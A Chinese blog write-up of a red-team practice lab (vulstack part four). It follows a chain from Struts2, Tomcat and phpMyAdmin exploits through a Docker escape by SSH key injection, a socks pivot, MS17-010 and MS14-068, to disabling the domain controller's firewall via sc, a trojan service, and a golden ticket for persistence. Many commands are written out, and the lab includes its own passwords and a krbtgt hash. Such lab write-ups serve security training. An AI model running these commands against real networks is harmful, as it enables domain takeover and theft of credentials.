一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
ubuntu:
ubuntu:ubuntu
 
win7:
douser:Dotest123
 
Win2008 DC:
administrator:Test2008,因为登陆要修改密码,所以改为了panda666...
 
 
②虚拟机网卡设置
ubuntu双网卡模拟内外网:
外网:192.168.1.128,桥接模式与物理机相通
内网:192.168.183.128,仅主机模式
 
系统的网卡设置手动改一下:
 
 
win7只有内网:
内网:192.168.183.129,仅主机模式
 
win2008只有内网:
内网:192.168.183.130,仅主机模式
 
 
启动Web服务,都是利用docker启动(注意:先切换到root用户再启动,或者加sudo):
①cve-2018-12613(phpmyadmin文件包含漏洞):
 
②S2-045:
 
③CVE-2017-12615(tomcat put上传):
 
 
二、Web层渗透:
1、信息收集:
①端口和服务信息
nmap -T4 -sV 192.168.1.128
 
②端口具体服务
2001:St2
2002:Tomcat
2003:phpmyadmin
 
2、利用漏洞getshell
①St2-045
 
②Tomcat put上传
直接上传冰蝎马
 
③phpmyadmin文件包含漏洞
不做具体操作了,具体利用方式之前也已经实战过...这里不再阐述
 
利用冰蝎连接即可
 
 
3、Docker逃逸:
由于web环境是利用docker搭建的,所以还需要逃逸,才能拿到宿主机权限
①反弹一个标准终端过来:
.sh的内容是bash一句话反弹
 
nc监听,即可收到shell
 
②尝试利用CVE-2019-5736进行docker逃逸(失败告终)
1.将脚本中的payload修改为反弹shell命令:
 
2.然后利用go build进行编译:
 
3.将main文件上传到目标并赋予权限
 
4.执行main文件,然后受害机再次启动容器就会收到shell,但是这里我利用失败了...成功的话如下图:
 
卡壳:在这里尝试了很多次,都无法执行成功,耗费了大量时间,然后看到作者给出提示是ssh私钥利用,然后现学一下,就有了下面的操作:
 
③利用ssh私钥:
1.挂载文件
mkdir /panda
mount /dev/sda1 /panda
ls /panda/
 
2.kali本地生成ssh私钥:
mkdir key
cd key/
ssh-keygen -f panda
chmod 600 panda
 
3.写入私钥:
cp -avx /panda/home/ubuntu/.ssh/id_rsa.pub /panda/home/ubuntu/.ssh/authorized_keys    # -avx是将权限也一起复制
echo > /panda/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的值' > /panda/home/ubuntu/.ssh/authorized_keys
 
查看是否成功生成:
ls /panda/home/ubuntu/.ssh/
 
4.然后利用自己的私钥进行登陆:
ssh -i panda ubuntu@192.168.1.128
 
5.利用此主机作为跳板,进行横向,利用ew搭建socks代理:
wget http://vps的ip/ew_for_linux64
 
开启正向socks代理:
chmod +x ew_for_linux64
./ew_for_linux64 -s ssocksd -l 1080
 
proxychains添加代理规则:
 
 
三、内网渗透:
1、内网信息收集:
利用ubuntu执行ifconfig,发现有两个网卡:
 
生成elf木马,让linux主机上线:
 
添加路由进行横向:
 
使用ms17-010扫描一下网段:
 
再一次卡壳:发现130和129都存在,但是始终无法获取会话,利用不成功....也不是知道是什么原因,但是目前只能想到用系统漏洞拿shell再进行横向了....思前想后,怀疑是msf路由的问题,就利用msf自带的设置代理参数设置socks5代理:
setg Proxies socks5:192.168.1.128:1080
 
然后就打成功了...这个具体什么原因呢?还不清楚...
 
 
2、域内信息收集:
①常规信息收集:
先把权限降为域用户,方便进行信息收集
 
网卡信息:
 
域内机器:
 
域控列表:
 
域管列表:
 
域内用户:
 
 
3、横向移动:
1.利用ms14-068攻击域控:
①获取域用户sid:
 
查看bash历史记录时,发现了域用户的账号密码:douser\Dotest123
 
②伪造生成票据:
ms14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
 
③导入票据:
kerberos::purge
kerberos::ptc 票据名
 
④访问域控:
 
2.利用sc上线域控:
①关闭域控防火墙
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall
 
②msf生成bind木马:
 
回退权限,并上传到目标机器:
 
然后利用copy命令上传到域控:
 
③创建执行木马的服务:
sc \\WIN-ENS2VR5TR3N create ma binpath= "c:\ma.exe"
sc \\WIN-ENS2VR5TR3N start ma
 
执行完成域控就上线了,最好马上迁移进程:
 
直接dump所有hash:
 
 
4、权限维持:
load kiwi
kerberos_ticket_purge
golden_ticket_create -d demo.com -k 7c4ed692473d4b4344c3ba01c5e6cb63 -s S-1-5-21-979886063-1111900045-1414766810 -u Administrator -t /tmp/krbtgt.ticket
kerberos_ticket_use /tmp/krbtgt.ticket
 
可以在不更改krbtgt密码的情况下维持一段时间的权限了:
 
四、总结:
①踩了太多坑了...msf添加路由无法获取shell,使用msf自带的设置socks代理参数才成功
②如何通过一台跳板搭建socks代理,一步步拿下域控
③ms17-010拿下某域机器权限,随后利用ms14-608获取域控权限
④sc执行命令+bind直连方式上线域控
⑤黄金令牌的伪造以及权限维持

vulstack红队评估(四)的更多相关文章

  1. vulstack红队评估(五)

    一.环境搭建: ①根据作者公开的靶机信息整理 虚拟机密码: Win7: heart 123.com    #本地管理员用户 sun\Administrator dc123.com    #域管用户,改 ...

  2. vulstack红队评估(一)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 虚拟机初始所有统一密码:hongrisec@2019   因为登陆前要修改密码,改为了panda666...   2.虚拟网卡网络配置: ①Win7双 ...

  3. vulstack红队评估(三)

    一.环境搭建: ①根据作者公开的靶机信息整理 没有虚拟机密码,纯黑盒测试...一共是5台机器,目标是拿下域控获取flag文件   ②虚拟机网卡设置 centos双网卡模拟内外网: 外网:192.168 ...

  4. vulstack红队评估(二)

    一.环境搭建: 1.根据作者公开的靶机信息整理: 靶场统一登录密码:1qaz@WSX     2.网络环境配置: ①Win2008双网卡模拟内外网: 外网:192.168.1.80,桥接模式与物理机相 ...

  5. ATK&CK红队评估实战靶场 (一)的搭建和模拟攻击过程全过程

    介绍及环境搭建 靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2 官方靶机说明: 红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练 ...

  6. ATT&CK红队评估实战靶场(一)

    靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 攻击拓扑如下 0x01环境搭建 配置两卡,仅主机模式192.168.52.0网段模拟内 ...

  7. Red Team 指南-第1章 红队和红队概述

    第1章 红队和红队概述 贡献者:Tony Kelly @infosectdk # 翻译者 BugMan 什么是红队?它来自哪里? 红队的起源是军事起源.人们意识到,为了更好地防御, 需要攻击自己的防御 ...

  8. 红队(red team)

    红队资源相关 https://threatexpress.com/redteaming/resources/ 红队相关技术 https://github.com/bluscreenofjeff/Red ...

  9. ATT&CK实战系列 红队实战(一)————环境搭建

    首先感谢红日安全团队分享的靶机实战环境.红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习.视频教程.博客三位一体学习. 靶机下载地址:http://vulnstack.qiyuanxue ...

随机推荐

  1. JAVA反射整理总结

    //1.通过对象获取            Person p=new Person();            Class c=p.getClass();                //2.通过类 ...

  2. Emiya家今天的饭 NOIP2019 (CSP?) 类DP好题 luoguP5664

    luogu题目传送门! 首先,硬求可行方案数并不现实,因为不好求(去年考场就这么挂的,虽然那时候比现在更蒟). 在硬搞可行方案数不行之后,对题目要求的目标进行转换: 可行方案数 = 总方案数 - 不合 ...

  3. [注]一条牛B的游戏推送要具备哪些条件?

    旁白:推送内容写的好,可以给游戏带来很大的收益,但如果写的很糟糕,就可能是在提醒用户还有一个该卸载的软件没卸载.那么如何写出一个优秀的推送内容呢? 总结:推送文字八字原则 从运营的角度来讲,我们需要找 ...

  4. 01 . Prometheus简介及安装配置Grafana

    Promethus简介 Prometheus受启发于Google的Brogmon监控系统(相似的Kubernetes是从Google的Brog系统演变而来),从2012年开始由前Google工程师在S ...

  5. 一文带你深入理解JVM,看完之后你还敢说你懂JVM吗?颠覆you认知

    前言 今天带大家深入理解JVM,从入门到精通,希望大家能够喜欢~~~ 概念 JVM是可运行 Java 代码的假想计算机 ,包括一套字节码指令集.一组寄存器.一个栈.一个垃圾回收,堆 和 一个存储方法域 ...

  6. 【Storm】与Hadoop的区别

    1)Storm用于实时计算,Hadoop用于离线计算. 2)Storm处理的数据保存在内存中,源源不断:Hadoop处理的数据保存在文件系统中,一批一批处 理. 3)Storm的数据通过网络传输进来: ...

  7. ansible取出register变量中最长字符串

    背景 在用ansible撰写一个etcd恢复的playbook时,有一个操作是获取etcd启动时的"initial-cluster"启动参数,该参数在etcd集群不同节点不一致,需 ...

  8. Java实现 LeetCode 825 适龄的朋友(暴力)

    825. 适龄的朋友 人们会互相发送好友请求,现在给定一个包含有他们年龄的数组,ages[i] 表示第 i 个人的年龄. 当满足以下条件时,A 不能给 B(A.B不为同一人)发送好友请求: age[B ...

  9. Java实现 LeetCode 789 逃脱阻碍者(曼哈顿距离)

    789. 逃脱阻碍者 你在进行一个简化版的吃豆人游戏.你从 (0, 0) 点开始出发,你的目的地是 (target[0], target[1]) .地图上有一些阻碍者,第 i 个阻碍者从 (ghost ...

  10. Java实现 LeetCode 506 相对名次

    506. 相对名次 给出 N 名运动员的成绩,找出他们的相对名次并授予前三名对应的奖牌.前三名运动员将会被分别授予 "金牌","银牌" 和" 铜牌&q ...